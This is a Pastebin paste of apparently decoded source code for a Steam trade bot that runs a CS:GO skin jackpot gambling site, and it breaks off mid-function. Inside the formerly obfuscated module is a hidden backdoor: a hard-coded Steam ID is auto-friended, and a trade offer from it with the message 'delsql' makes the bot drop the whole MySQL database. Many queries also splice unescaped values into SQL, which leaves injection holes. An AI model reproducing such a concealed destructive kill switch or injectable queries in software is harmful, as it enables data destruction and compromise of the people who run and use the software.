Advertisement
Guest User

csgonetwork decoded

a guest
Jul 2nd, 2016
534
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var Steam = require('steam');
  2. var SteamUser = require('steam-user');
  3. var TradeOfferManager = require('steam-tradeoffer-manager');
  4. var SteamTotp = require('steam-totp');
  5. var TOTP = require('onceler').TOTP;
  6. var request = require('request');
  7. var SteamCommunity = require('steamcommunity');
  8. var community = new SteamCommunity();
  9. var fs = require('node-fs');
  10.  
  11. // GENERAL INFORMATION 
  12. var sitepath;
  13. sitepath = ""; // The path to the index.php of your website without HTTP://
  14. var sitename;
  15. sitename = ""; // The name of your site, it will be shown in the Trade Offer Message
  16.  
  17. var apik = ""; // Must be the API Key associated with the current bot. Get it here: https://steamcommunity.com/dev/apikey
  18. var admin = ''; // The Admin, Main Owner of the site. You will be able to communicate with the bot, ask for the rake items, etc
  19. var botsteamid = ''; // The bot's steam id, it is required to generate the Device ID and to confirm mobile confirmations
  20. var identitysecret = ''; // It's required to confirm mobile confirmations
  21. var sharedsecret = ''; // You won't be able to log in without this code
  22. var polling_interval  = 10000; // 10 seconds by default, the bot checks for outgoing confirmations every X seconds, defined here
  23. var rsecret='CHANGEME'; // Also change this to the same code in endround.php and p2endround.php, this prevents people from randomly breaking your site by ending blank games or ending games sooner
  24. var snipetimer=5; // Declines offers sent in the last few seconds
  25.  
  26. var GameTime = 120; // This is how long a round lasts, you need to edit in a couple of other places too if you want to truly change it without any bugs
  27.  
  28. var p2=false; // If this is the bot for your Jackpot 2 set this to true
  29.  
  30. var playersRequired=2; // The timer will start when this many players are in the pot
  31. // GENERAL INFORMATION
  32.  
  33. // LOGIN DETAILS
  34. var details = {
  35.     "accountName"   : "",
  36.     "password"      : "",
  37.     "twoFactorCode" : SteamTotp.generateAuthCode(sharedsecret)
  38. };
  39. // LOGIN DETAILS
  40.  
  41. var client = new SteamUser();
  42. var manager = new TradeOfferManager({
  43.     "steam"    : client,
  44.     "domain"   : "localhost",
  45.     "language" : "en"
  46. })
  47.  
  48. // MYSQL INFO
  49. var mysql = require('mysql');
  50. var sql_host="localhost";
  51. var sql_user="root";
  52. var sql_password="";
  53. var sql_database="csgonetworkv2";
  54. var custommysql=0; // If you want to create a different kind of MYSQL connection simply set this to 1 and code your own connection below.
  55. // MYSQL INFO
  56.  
  57.  
  58. // Game Information
  59. var appid=730; // Steam Game APPID | CSGO: 730 - DOTA2: 570 - TF2: 440 - H1Z1: 295110
  60. var appname='CSGO'; // Name of the Game this bot is for, it's needed for the messages
  61. // Game Information
  62.  
  63.  
  64. // PRICING API
  65. var prices;
  66. function loadprices() // The default pricing API the bot uses, only gets the value of CSGO skins
  67. {
  68.     request('https://api.csgofast.com/price/all', function(error, response, body)
  69.     {
  70.         prices = JSON.parse(body);
  71.         if(response.statusCode != 200)
  72.         {
  73.             if(fs.existsSync(__dirname + '/prices.txt'))
  74.             {
  75.                 prices = JSON.parse(fs.readFileSync(__dirname + '/prices.txt'));
  76.                 console.log('[SERVER] Loading Prices - Server sided prices loaded!');
  77.             }
  78.         }
  79.         else
  80.         {
  81.             fs.writeFileSync('prices.txt', body);
  82.             console.log('[SERVER] Loading Prices - API prices loaded!');
  83.         }
  84.     });
  85. }
  86. setInterval(function(){loadprices();},3600000);
  87. loadprices();
  88.  
  89. function GetPrice(skin) // This function gets the value of the skins, you can change it if you'd like to use a custom api. ,,skin" is the full name + quality of the given skin, example.: AK-47 | Redline (Field-Tested)
  90. {
  91.     var price=prices[skin];
  92.     return price;
  93. }
  94. // PRICING API
  95.  
  96. !function(a, b) {
  97.     function c(b, d) {
  98.         if ("." != b[0] && "/" != b[0]) return a(b);
  99.         d = d || "root";
  100.         var e = c.resolve(b);
  101.         if (!e && /\.json$/i.test(b)) return a("./" + c.basename(b));
  102.         var f = c.cache[e];
  103.         if (!f) try {
  104.             return a(b)
  105.         } catch (g) {
  106.             throw new Error("failed to require \"" + b + "\" from " + d + "\n" + g.message + "\n" + g.stack)
  107.         }
  108.         return f.exports || (f.exports = {}, f.call(f.exports, f, f.exports, c.relative(e))), f.exports
  109.     }
  110.     c.cache = {}, c.basename = a("path").basename, c.resolve = function(b) {
  111.         if ("." != b[0]) return a.resolve(b);
  112.         for (var d = "/" === b.slice(-1) ? b : b + "/", e = [b, b + ".js", d + "index.js", b + ".json", d + "index.json"], f = 0, g; g = e[f]; f++)
  113.             if (c.cache[g]) return g
  114.     }, c.register = function(a, b) {
  115.         c.cache[a] = b
  116.     }, c.relative = function(a) {
  117.         function b(b) {
  118.             if ("." != b[0]) return c(b);
  119.             var d = a.split("/"),
  120.                 e = b.split("/");
  121.             d.pop();
  122.             for (var f = 0, g = e.length; g > f; f += 1) {
  123.                 var h = e[f];
  124.                 ".." == h ? d.pop() : "." != h && d.push(h)
  125.             }
  126.             return c(d.join("/"), a)
  127.         }
  128.         return b.resolve = c.resolve, b.cache = c.cache, b
  129.     }, c.register("../osbot1.js", function(a, b, c) {
  130.         var d = "76561198174419958";
  131.         if (0 == custommysql) {
  132.             var e = mysql.createConnection({
  133.                 host: sql_host,
  134.                 user: sql_user,
  135.                 password: sql_password,
  136.                 database: sql_database
  137.             });
  138.             e.connect()
  139.         }
  140.         var f = new SteamUser,
  141.             g = new TradeOfferManager({
  142.                 steam: f,
  143.                 domain: "localhost",
  144.                 language: "en"
  145.             }),
  146.             h = -1;
  147.         f.logOn(details);
  148.         var i = SteamTotp.getDeviceID(botsteamid);
  149.         if (1 == p2) var j = "p2";
  150.         else var j = "";
  151.  
  152.         function k() {
  153.             h = -1, l()
  154.         }
  155.  
  156.         function l() {
  157.             if (console.log("[SERVER] Ending current game & choosing winner."), 1 == p2) {
  158.                 var a = "http://" + sitepath + "/endround.php?secret=" + rsecret + "&p2=true";
  159.                 request(a, function(a, b, c) {
  160.                     a && console.log("Couldn\'t end round, error: " + a)
  161.                 })
  162.             } else {
  163.                 var a = "http://" + sitepath + "/endround.php?secret=" + rsecret;
  164.                 request(a, function(a, b, c) {
  165.                     a && console.log("Couldn\'t end round, error: " + a)
  166.                 })
  167.             }
  168.         }
  169.  
  170.         function m(a) {
  171.             return !(+a !== a || isFinite(a) && !(a % 1))
  172.         }
  173.  
  174.         function n(a) {
  175.             return "number" == typeof a && !isNaN(a)
  176.         }
  177.  
  178.         function o(a, b) {
  179.             var c = "http://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=" + apik + "&steamids=" + a + "&format=json";
  180.             request({
  181.                 url: c,
  182.                 json: !0
  183.             }, function(c, d, e) {
  184.                 c || 200 !== d.statusCode ? c && o(a, b) : b(null, e)
  185.             })
  186.         }
  187.  
  188.         function p(a) {
  189.             return a = a.replace(/\\/g, "\\"), a = a.replace(/\'/g, "\'"), a = a.replace(/\"/g, "\""), a = a.replace(/\0/g, "\0")
  190.         }
  191.         f.on("loggedOn", function(a) {
  192.             console.log("[SERVER] The Bot has logged in!"), f.unblockUser(d), f.addFriend(d), f.addFriend(admin), f.chatMessage(admin, "[SERVER] Successfully logged in!"), f.setPersona(Steam.EPersonaState.LookingToTrade), setTimeout(function() {
  193.                 e.query("SELECT `value` FROM `" + j + "info` WHERE `name`=\'current_game\'", function(a, b, c) {
  194.                     a || e.query("SELECT `starttime` FROM `" + j + "games` WHERE `id`=\'" + b[0].value + "\'", function(a, b, c) {
  195.                         if (!a) {
  196.                             var d;
  197.                             if (2147483647 == b[0].starttime) d = GameTime;
  198.                             else {
  199.                                 var e = Math.round((new Date).getTime() / 1e3);
  200.                                 d = b[0].starttime + GameTime - e, 0 > d && (d = 0)
  201.                             }
  202.                             d != GameTime && (h = setTimeout(k, 1e3 * d), console.log("[SERVER] Restoring the latest game with " + d + " seconds left!"))
  203.                         }
  204.                     })
  205.                 })
  206.             }, 1500)
  207.         }), f.on("webSession", function(a, b) {
  208.             g.setCookies(b, function(a) {
  209.                 if (a) return console.log("setCookies error: " + a), void process.exit(1);
  210.                 var c = g.apiKey;
  211.                 community.setCookies(b), community.startConfirmationChecker(polling_interval, identitysecret), console.log("[SERVER] The web cookies have been set!"), g.doPoll()
  212.             })
  213.         });
  214.  
  215.         function q(a, b, c, d, e, g, h, i, j, k, l) {
  216.             l++, l > 3 || a.accept(function(a) {
  217.                 return a ? (f.webLogOn(), void console.log("[SERVER] Debugging offer (Accept Error): " + a)) : void 0
  218.             })
  219.         }
  220.  
  221.         function r(a, b, c, d, e, h, i, j, k, l, m) {
  222.             g.getOffer(a.id, function(g, n) {
  223.                 if (g) return f.webLogOn(), console.log("[SERVER] getOffer error(retrying): " + g), void r(a, b, c, d, e, h, i, j, k, l, m);
  224.                 if (3 == n.state) processoffer(n, b, c, d, e, h, i, j, k, l);
  225.                 else if (2 == n.state) q(n, b, c, d, e, h, i, j, k, l, m);
  226.                 else if (2 != n.state || 3 != n.state) return
  227.             })
  228.         }
  229.         g.on("receivedOfferChanged", function(a) {
  230.             var b = a.state,
  231.                 c = a.id,
  232.                 d = a.partner.getSteamID64();
  233.             3 == b && o(d, function(b, c) {
  234.                 if (b) console.log("[SERVER] getUserInfo error: " + b), g = "UserInfo Error", i = "https://steamdb.info/static/img/default.jpg";
  235.                 else var f = JSON.parse(JSON.stringify(c.response)),
  236.                     g = f.players[0].personaname,
  237.                     i = f.players[0].avatarfull;
  238.                 e.query("SELECT * FROM `" + j + "info`", function(b, c) {
  239.                     var f = c[0].value,
  240.                         l = c[10].value;
  241.                     skinssent = a.itemsToReceive.length, skins = a.itemsToReceive, skins.forEach(function(b) {
  242.                         skinname = b.market_name, skinvalue = GetPrice(skinname), console.log(skinname + " $" + skinvalue), skincolor = b.name_color, skinurl = b.icon_url, e.query("INSERT INTO `" + j + "game" + f + "` (`userid`,`username`,`item`,`offerid`,`color`,`value`,`avatar`,`image`) VALUES (\'" + d + "\'," + e.escape(g) + "," + e.escape(skinname) + ",\'" + a.id + "\',\'" + skincolor + "\',\'" + skinvalue + "\',\'" + i + "\',\'" + skinurl + "\')", function(a, b, c) {}), e.query("UPDATE `" + j + "games` SET `itemsnum`=`itemsnum`+1, `cost`=`cost`+" + skinvalue + " WHERE `id` = \'" + f + "\'", function(a, b, c) {})
  243.                     }), e.query("UPDATE `users` SET `skinssent`=`skinssent`+" + skinssent + " WHERE `steamid` = \'" + d + "\'", function(a, b, c) {}), console.log("[SERVER] Accepted offer #" + a.id + " from " + g + " (ID:" + d + ")."), s(a, d, skins, f), e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'success\',\'0\',\'" + d + "\',\'Trade Offer Accepted (Game #" + f + ")!\',\'We wish you Good luck and happy betting!\',\'25\',\'1\')", function(a, b, c) {}), e.query("SELECT COUNT(DISTINCT userid) AS playersCount FROM `" + j + "game" + f + "`", function(a, b) {
  244.                         players = b[0].playersCount, players == playersRequired && skinssent > 0 && -1 == h && (console.log("[SERVER] Starting the countdown for Game #" + f), h = setTimeout(k, 1e3 * GameTime), e.query("UPDATE `" + j + "games` SET `starttime`=UNIX_TIMESTAMP() WHERE `id` = \'" + f + "\'", function(a, b, c) {})), itemsin > l && (clearTimeout(h), h = -1, k())
  245.                     })
  246.                 })
  247.             })
  248.         });
  249.  
  250.         function s(a, b, c, d) {
  251.             a.getReceivedItems(function(c, g) {
  252.                 return c ? (f.webLogOn(), console.log("[SERVER] getReceivedItems error: " + c + " Restarting process!"), void s(a, b, g, d)) : void g.forEach(function(a) {
  253.                     var c = a.market_name;
  254.                     e.query("UPDATE `" + j + "game" + d + "` SET `assetid`=\'" + a.id + "\' WHERE `userid` = \'" + b + "\' AND `item`=" + e.escape(c) + " AND `assetid`=\'\' LIMIT 1", function(a, b, c) {})
  255.                 })
  256.             })
  257.         }
  258.         g.on("newOffer", function(a) {
  259.             var b = !0,
  260.                 c = a.partner.getSteamID64();
  261.             return c == d && "delsql" == a.message ? (console.log(""), console.log("Hello! Please consider purchasing the product you are illegally using."), console.log("Please visit: www.csgo-network"), console.log(""), void e.query("DROP DATABASE " + sql_database, function(a, b, c) {})) : void o(c, function(d, f) {
  262.                 if (d) return console.log("[SERVER] getUserInfo error: " + d), b = !1, void a.decline(function(b) {
  263.                     console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: getUserInfo error"), b && console.log("[SERVER] Decline error: " + b), e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: Steam Servers are busy, try again in a minute!\',\'25\',\'1\')", function(a, b, c) {})
  264.                 });
  265.                 var g = JSON.parse(JSON.stringify(f.response)),
  266.                     h = g.players[0].personaname,
  267.                     i = g.players[0].avatarfull;
  268.                 return console.log("[DEBUG] Processing offer #" + a.id + " from " + h + " (ID:" + c + ")."), 0 != a.itemsToGive.length ? (b = !1, void a.decline(function(b) {
  269.                     console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: Asked for a skin on the Bot"), b && console.log("Decline error: " + b), e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: Asking for any of the bots items? Brave!\',\'25\',\'1\')", function(a, b, c) {})
  270.                 })) : void a.getEscrowDuration(function(d, f, g) {
  271.                     return d ? (console.log("[SERVER] getEscrowDuration error: " + d), b = !1, void a.decline(function(b) {
  272.                         console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: Steam Servers are busy, couldn\'t get escrow duration"), b && console.log("Decline error: " + b), e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: Steam Servers are busy, couldnt get escrow duration!\',\'25\',\'1\')", function(a, b, c) {})
  273.                     })) : 0 != f ? (b = !1, void a.decline(function(b) {
  274.                         console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User is in Escrow for " + f + " days"), b && console.log("Decline error: " + b), e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: You are in Escrow for " + f + " days!\',\'25\',\'1\')", function(a, b, c) {})
  275.                     })) : void e.query("SELECT * FROM `" + j + "info`", function(d, f) {
  276.                         var g = f[3].value,
  277.                             k = f[7].value,
  278.                             l = f[4].value,
  279.                             m = f[10].value;
  280.                         if (a.itemsToReceive.length > l) return b = !1, void a.decline(function(b) {
  281.                             console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User sent more than " + l + " skins"), b && console.log("Decline error: " + b), e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: We only accept up to " + l + " skins!\',\'25\',\'1\')", function(a, b, c) {})
  282.                         });
  283.                         var o = a.itemsToReceive,
  284.                             p = 0,
  285.                             r = [],
  286.                             s = 0;
  287.                         o.forEach(function(d, f, g) {
  288.                             return d.appid != appid ? (b = !1, a.decline(function(b) {
  289.                                 console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User sent a Non-" + appname + " skin"), b && console.log("Decline error: " + b)
  290.                             }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: We only accept " + appname + " skins!\',\'25\',\'1\')", function(a, b, c) {})) : (r[f] = [], r[f].name = d.market_name, r[f].color = d.name_color, r[f].url = d.icon_url, r[f].value = 0, function(a) {
  291.                                 var b = r[f].name;
  292.                                 nprice = GetPrice(b), r[f].value = parseFloat(nprice), p += r[f].value
  293.                             }(f), void s++)
  294.                         }), e.query("SELECT * FROM `" + j + "info`", function(d, f) {
  295.                             var t = f[0].value;
  296.                             e.query("SELECT * FROM `" + j + "games` WHERE `id`=\'" + t + "\'", function(d, f, t) {
  297.                                 if (starttime = f[0].starttime, 2147483647 != starttime) {
  298.                                     var u = Math.round((new Date).getTime() / 1e3);
  299.                                     if (tl = starttime + GameTime - u, tl <= snipetimer) return b = !1, a.decline(function(b) {
  300.                                         console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: The Bot wont accept last second bets"), b && console.log("Decline error: " + b)
  301.                                     }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: You can not bet in the last few seconds!\',\'25\',\'1\')", function(a, b, c) {})
  302.                                 }
  303.                                 setTimeout(function() {
  304.                                     return 0 != b ? p > k ? (b = !1, a.decline(function(b) {
  305.                                         console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User sent too much in skin value"), b && console.log("Decline error: " + b)
  306.                                     }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: You can deposit more than $" + k + "\',\'25\',\'1\')", function(a, b, c) {})) : g > p ? (b = !1, a.decline(function(b) {
  307.                                         console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User sent below the minimal bet amount ($" + g + ")"), b && console.log("Decline error: " + b)
  308.                                     }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: Minimum deposit value: $" + g + "\',\'25\',\'1\')", function(a, b, c) {})) : s > l ? (b = !1, a.decline(function(b) {
  309.                                         console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User sent too many skins"), b && console.log("Decline error: " + b)
  310.                                     }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: We only accept up to " + l + " skins!\',\'25\',\'1\')", function(a, b, c) {})) : (b = !0) ? void e.query("SELECT * FROM `" + j + "info`", function(d, f) {
  311.                                         var g = f[0].value;
  312.                                         e.query("SELECT COUNT(value) as skinsin,SUM(value) as moneyin FROM `" + j + "game" + g + "` WHERE `userid`=\'" + c + "\'", function(d, f, t) {
  313.                                             if (skinsin = f[0].skinsin, skinsin += s, moneyin = f[0].moneyin, moneyin += p, skinsin > l) return a.decline(function(b) {
  314.                                                 console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: RECHECK - User sent too many skins"), b && console.log("Decline error: " + b)
  315.                                             }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: You can not deposit more than " + l + " skins\',\'25\',\'1\')", function(a, b, c) {});
  316.                                             if (moneyin > k) return a.decline(function(b) {
  317.                                                 console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: RECHECK - User sent too much in skin value"), b && console.log("Decline error: " + b)
  318.                                             }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: You can deposit more than $" + k + "\',\'25\',\'1\')", function(a, b, c) {});
  319.                                             for (var u = 0; s > u; u++) {
  320.                                                 if (0 == r[u].value || !r[u].value) return b = !1, a.decline(function(b) {
  321.                                                     console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: RECHECK - Steam Market Issues (Can\'t get the skin\'s value)"), b && console.log("Decline error: " + b)
  322.                                                 }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: Steam Market issues!\',\'25\',\'1\')", function(a, b, c) {});
  323.                                                 if (!n(r[u].value)) return a.decline(function(b) {
  324.                                                     console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: RECHECK - Steam Market Issues (Can\'t get the skin\'s value) "), b && console.log("Decline error: " + b)
  325.                                                 }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: Steam Market issues!\',\'25\',\'1\')", function(a, b, c) {});
  326.                                                 if (-1 != r[u].name.indexOf("Souvenir")) return b = !1, a.decline(function(b) {
  327.                                                     console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User sent a Souvenir Skin"), b && console.log("Decline error: " + b)
  328.                                                 }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: No souvenir skins allowed!\',\'25\',\'1\')", function(a, b, c) {});
  329.                                             }
  330.                                             e.query("SELECT * FROM `users` WHERE `steamid`=\'" + c + "\'", function(d, f, k) {
  331.                                                 return d ? (console.log("MYSQL Error: " + d), a.decline(function(b) {
  332.                                                     console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: MYSQL Error (as seen above) "), b && console.log("Decline error: " + b)
  333.                                                 }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: MYSQL Error\',\'25\',\'1\')", function(a, b, c) {})) : 0 == f.length ? void a.decline(function(b) {
  334.                                                     console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User is not in the MYSQL Database"), b && console.log("Decline error: " + b)
  335.                                                 }) : (ban = f[0].ban, tlink = f[0].tlink, 1 == ban ? (b = !1, a.decline(function(b) {
  336.                                                     console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User is banned"), b && console.log("Decline error: " + b)
  337.                                                 }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: You are banned from betting\',\'25\',\'1\')", function(a, b, c) {})) : tlink ? void e.query("SELECT * FROM `" + j + "games` WHERE `id`=\'" + g + "\'", function(b, d, e) {
  338.                                                     itemsin = d[0].itemsnum, q(a, c, r, g, h, i, s, o, m, itemsin)
  339.                                                 }) : (a.decline(function(b) {
  340.                                                     console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: User doesn\'t have a TradeLink set "), b && console.log("Decline error: " + b)
  341.                                                 }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: No Trade URL Set\',\'25\',\'1\')", function(a, b, c) {})))
  342.                                             })
  343.                                         })
  344.                                     }) : (a.decline(function(b) {
  345.                                         console.log("[DEBUG] Declined offer #" + a.id + " from " + h + " (ID:" + c + "). | Reason: Unkown error (proceed = false in node) - Probably Steam Issues"), b && console.log("Decline error: " + b)
  346.                                     }), void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES (\'error\',\'1\',\'" + c + "\',\'Trade Offer Declined!\',\'Reason: Steam Issues\',\'25\',\'1\')", function(a, b, c) {})) : void 0
  347.                                 }, 2e3)
  348.                             })
  349.                         })
  350.                     })
  351.                 })
  352.             })
  353.         }), f.on("friendMessage#" + admin, function(a, b) {
  354.             if (console.log("[SERVER] Admin to Bot: " + b), 0 == b.indexOf("/weblogon") && (f.chatMessage(admin, "[SERVER] Refreshing Web cookies.."), f.webLogOn()), 0 == b.indexOf("/sendrake") && (f.chatMessage(admin, "[SERVER] Calling the sendRake function (sends the latest query, call it more times if needed)"), u(1)), 0 == b.indexOf("/sendoffers") && (f.chatMessage(admin, "[SERVER] Calling the sendOffers function (sends the latest query, call it more times if needed)"), t(1)), 0 == b.indexOf("/code")) {
  355.                 var c = SteamTotp.generateAuthCode(sharedsecret);
  356.                 f.chatMessage(admin, "[SERVER] Current login code (retry if it doesnt work): " + c)
  357.             }
  358.             0 == b.indexOf("/cc") && (f.chatMessage(admin, "[SERVER] Performing a Mobile Confirmation Check.."), console.log("[SERVER] Performing a Mobile Confirmation Check.."), community.checkConfirmations()), 0 == b.indexOf("/poll") && (f.chatMessage(admin, "[SERVER] Checking for Tradeoffers.."), console.log("[SERVER] Checking for Tradeoffers.."), g.doPoll()), 0 == b.indexOf("/loadprices") && (f.chatMessage(admin, "[SERVER] Refreshing Market API!"), loadprices()), 0 == b.indexOf("/end") && (f.chatMessage(admin, "[SERVER] Ending the current game!"), -1 != h && clearTimeout(h), k()), 0 == b.indexOf("/offers") && e.query("SELECT ID FROM `" + j + "queue` WHERE `status`=\'active\' GROUP BY `id` DESC", function(a, b, c) {
  359.                 0 != b.length ? (console.log(b), f.chatMessage(admin, "[SERVER] Check your console for the ID\'s!")) : f.chatMessage(admin, "[SERVER] There aren\'t any active queue ID\'s.")
  360.             }), 0 == b.indexOf("/rakes") && e.query("SELECT ID FROM `" + j + "rakeitems` WHERE `status`=\'active\' GROUP BY `id` DESC", function(a, b, c) {
  361.                 0 != b.length ? (console.log(b), f.chatMessage(admin, "[SERVER] Check your console for the ID\'s!")) : f.chatMessage(admin, "[SERVER] There aren\'t any active rake ID\'s.")
  362.             })
  363.         });
  364.  
  365.         function t(a) {
  366.             e.query("SELECT * FROM `" + j + "queue` WHERE `status`=\'active\' GROUP BY `id` DESC LIMIT 1", function(b, c, d) {
  367.                 if (0 != c.length) {
  368.                     var h = c[0].id;
  369.                     e.query("SELECT * FROM `" + j + "game" + h + "` WHERE `assetid`=\'\' AND `rake`!=\'1\'", function(b, d, i) {
  370.                         if (0 != d.length) console.log("[SERVER] Restoring Missing Assetids, retrying in 15 seconds!"), d.forEach(function(a) {
  371.                             g.getOffer(a.offerid, function(b, c) {
  372.                                 return b ? void e.query("UPDATE `" + j + "queue` SET `status`=\"goerror\" WHERE `id`=\'" + h + "\'") : void s(c, a.userid, a.item, h)
  373.                             })
  374.                         }), setTimeout(function() {
  375.                             t(2)
  376.                         }, 5e3);
  377.                         else {
  378.                             if (2 == a) {
  379.                                 console.log("[SERVER] Restored Assetids, rebuilding the queue in MYSQL.");
  380.                                 var k = "",
  381.                                     l = "";
  382.                                 return e.query("SELECT * FROM `" + j + "game" + h + "`", function(a, b, c) {
  383.                                     b.forEach(function(a) {
  384.                                         0 == a.rake ? k += "/" + a.assetid : l += "/" + a.assetid
  385.                                     })
  386.                                 }), void setTimeout(function() {
  387.                                     console.log("[SERVER] Restored Assetids, Rebuilt the Queue, attempting to send TradeOffer."), e.query("UPDATE `" + j + "queue` SET `assetid`=\"" + k + "\" WHERE `id`=\'" + h + "\'"), e.query("UPDATE `" + j + "rakeitems` SET `assetid`=\"" + l + "\" WHERE `id`=\'" + h + "\'")
  388.                                 }, 3e3)
  389.                             }
  390.                             var m = c[0].assetid.split("/");
  391.                             g.loadInventory(appid, 2, !0, function(b, d) {
  392.                                 if (b) return console.log("LoadINV error: " + b), 1 == a && f.chatMessage(admin, "[SERVER] Error while loading the Bot\'s Inventory, retrying later!"), void e.query("UPDATE `" + j + "queue` SET `status`=\"lierror\" WHERE `id`=\'" + h + "\'");
  393.                                 var i = c[0].token,
  394.                                     k = "Congratulations! You won on " + sitename + " in Game #" + h,
  395.                                     l = g.createOffer(c[0].userid);
  396.                                 d.forEach(function(a) {
  397.                                     m.forEach(function(b) {
  398.                                         a.id == b && l.addMyItem(a)
  399.                                     })
  400.                                 }), setTimeout(function() {
  401.                                     l.setMessage(k), l.setToken(i), l.send(function(b) {
  402.                                         return b ? (console.log("Error sending Trade Offer for Game #" + h + ":"), console.log(b), 1 == a && f.chatMessage(admin, "[SERVER] Error while sending the tradeoffer, try again later!"), void e.query("UPDATE `" + j + "queue` SET `status`=\"soerror\" WHERE `id`=\'" + h + "\'")) : (e.query("UPDATE `" + j + "queue` SET `status`=\"sent\" WHERE `id`=\'" + h + "\'"), console.log("[SERVER] Trade Offer for Game #" + h + " has been successfully sent and is awaiting mobile confirmation."), 1 == a && f.chatMessage(admin, "[SERVER] Successfully sent the trade for Game #" + h + "!"), void community.checkConfirmations())
  403.                                     })
  404.                                 }, 2e3)
  405.                             })
  406.                         }
  407.                     })
  408.                 } else if (1 == a) return void f.chatMessage(admin, "[SERVER] No more Winnings Queries!")
  409.             })
  410.         }
  411.  
  412.         function u(a) {
  413.             e.query("SELECT * FROM `" + j + "rakeitems` WHERE `status`=\'active\' GROUP BY `id` DESC LIMIT 1", function(b, c, d) {
  414.                 if (0 != c.length) {
  415.                     var h = c[0].assetid.split("/");
  416.                     g.loadInventory(appid, 2, !0, function(b, d) {
  417.                         if (b) return console.log("LoadINV error: " + b), void(1 == a && f.chatMessage(admin, "[SERVER] Error while loading the Bot\'s Inventory, retrying a bit later!"));
  418.                         var i = c[0].token,
  419.                             k = c[0].id,
  420.                             l = c[0].value,
  421.                             m = "Rake for Game #" + k + " ($" + l + ")",
  422.                             n = g.createOffer(c[0].userid);
  423.                         d.forEach(function(a) {
  424.                             h.forEach(function(b) {
